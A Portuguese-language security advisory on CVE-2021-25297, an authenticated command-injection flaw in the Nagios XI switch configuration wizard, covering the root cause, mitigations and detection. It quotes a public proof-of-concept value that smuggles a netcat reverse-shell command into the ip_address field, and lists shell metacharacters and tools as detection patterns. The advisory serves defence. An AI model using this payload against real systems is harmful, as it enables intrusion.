CVE-2021-25297
Patch now. It under exploitation confirmed by CISA and has a working public exploit.
Apply updates per vendor instructions.
Summary
Injeção de comando OS autenticada no assistente de configuração de switches (SNMP) do Nagios XI, explorável por qualquer usuário autenticado — inclusive contas sem privilégio de administrador. É a mesma classe de falha (exec() com input não sanitizado) encontrada em pelo menos outras três CVEs do mesmo pesquisador na mesma versão, e está no catálogo KEV da CISA com exploração confirmada em campo, o que eleva a prioridade além do que o CVSS 8.8 já sugere.
Technical detail
O ponto vulnerável é a função switch_configwizard_add_cfg_to_mrtg() em /usr/local/nagiosxi/html/includes/configwizards/switch/switch.inc.php. O parâmetro ip_address, recebido via HTTP no assistente de monitoramento (monitoringwizard.php, wizard=switch), chega como $address sem qualquer sanitização e é usado para montar o nome de arquivo MRTG ($mrtg_cfg_file = "{$address}.cfg") e o caminho absoluto correspondente. Esse caminho é então concatenado diretamente dentro de um comando shell passado a exec(): exec("sed -i '1s|.*|{$infoline}&|' $absolute_mrtg_cfg_file"). Como não há escaping (nem escapeshellarg/escapeshellcmd) nem validação de formato de IP antes dessa concatenação, qualquer metacaractere de shell (;, |, &&, backticks) injetado no valor de ip_address é interpretado pelo shell no momento da execução.
É classificada como CWE-78 (Improper Neutralization of Special Elements used in an OS Command) e, na entrada do KEV, também como CWE-138 (Improper Neutralization of Special Elements). A causa raiz é típica de código legado que confia em input vindo de um formulário HTML sem tratar esse input como potencialmente hostil antes de repassá-lo a uma chamada de sistema.
O atacante controla integralmente o conteúdo do parâmetro ip_address enviado na requisição HTTP; o processo Nagios XI (tipicamente rodando como usuário de serviço com privilégios elevados de administração do host de monitoramento) executa o comando resultante.
How it’s exploited
A exploração ocorre via uma única requisição HTTP para o endpoint monitoringwizard.php com wizard=switch, nextstep apontando para o estágio em que o valor de ip_address é processado, e um token CSRF (parâmetro nsp) válido — o que exige uma sessão autenticada ativa no Nagios XI. A prova de conceito pública demonstra que ip_address=127.0.0.1;nc -e /bin/sh 127.0.0.1 4445; é suficiente para abrir um shell reverso; não há necessidade de privilégio de administrador, apenas de qualquer conta autenticada com acesso ao assistente de configuração de switches.
Esse é o ponto que a descrição oficial ("authenticated user-controlled input") deixa ambíguo: na prática, contas de baixo privilégio no Nagios XI — que em muitos ambientes são distribuídas mais livremente do que contas de admin de infraestrutura — bastam para acionar a falha. Isso amplia consideravelmente a superfície de ataque em relação à leitura apressada de "precisa estar logado".
A CISA confirma exploração ativa em campo (KEV, adicionada em 18/01/2022, prazo de correção 01/02/2022) e existe módulo Metasploit e template Nuclei públicos, o que reduz a complexidade de exploração a praticamente zero para quem já tem uma credencial válida (obtida por força bruta, credential stuffing, ou phishing contra operadores de monitoramento).
Versions
How to protect
O caminho correto é atualizar o Nagios XI para uma versão posterior à 5.7.5. As fontes analisadas não trazem um changelog oficial que declare explicitamente em qual build o fornecedor corrigiu o CVE-2021-25297; o histórico de releases mostra que a 5.8.0 foi publicada em 15/01/2021, pouco antes da divulgação pública da falha (fevereiro/2021) — trate essa versão como candidata mínima razoável, mas confirme no advisory/changelog do fornecedor antes de considerar o ambiente corrigido, e prefira a linha atual suportada (5.11.x ou as séries 2024R1/2024R2/2026R1) sempre que possível.
Se a atualização não for viável de imediato, o controle compensatório real é restringir o acesso à interface web do Nagios XI a redes de gestão/VPN e reduzir o número de contas com acesso ao módulo de assistentes de configuração (configwizards), já que a exploração não exige privilégio de administrador — apenas autenticação válida. Regras de WAF que bloqueiem metacaracteres de shell (;, |, &, backtick, $()) no parâmetro ip_address de monitoringwizard.php mitigam parcialmente, mas não substituem o patch, pois dependem de cobertura completa de encoding e variantes de payload.
O que não funciona como mitigação: assumir que restringir a criação de contas de administrador resolve o problema — a PoC documentada funciona com autenticação não-admin. Também não basta desabilitar apenas o assistente 'switch' na interface, se a rota de API/URL correspondente (monitoringwizard.php) continuar acessível diretamente.
How to detect
Nos logs de acesso web, procure requisições a monitoringwizard.php com wizard=switch e o parâmetro ip_address contendo metacaracteres de shell (;, |, &&, backtick, $()) fora do formato esperado de endereço IP ou hostname. No lado do sistema, monitore a árvore de processos filhos do processo web/PHP do Nagios XI (apache/php-fpm executando como usuário do serviço nagios) por execução de shells, netcat, curl/wget ou interpretadores incomuns imediatamente após uma requisição a esse endpoint.
Não há um indicador único e confiável além desses padrões de payload — como a exploração passa por um parâmetro de formulário legítimo e requer apenas uma sessão autenticada válida, tráfego malicioso pode se misturar facilmente com uso legítimo do assistente se não houver logging detalhado de parâmetros de requisição habilitado previamente.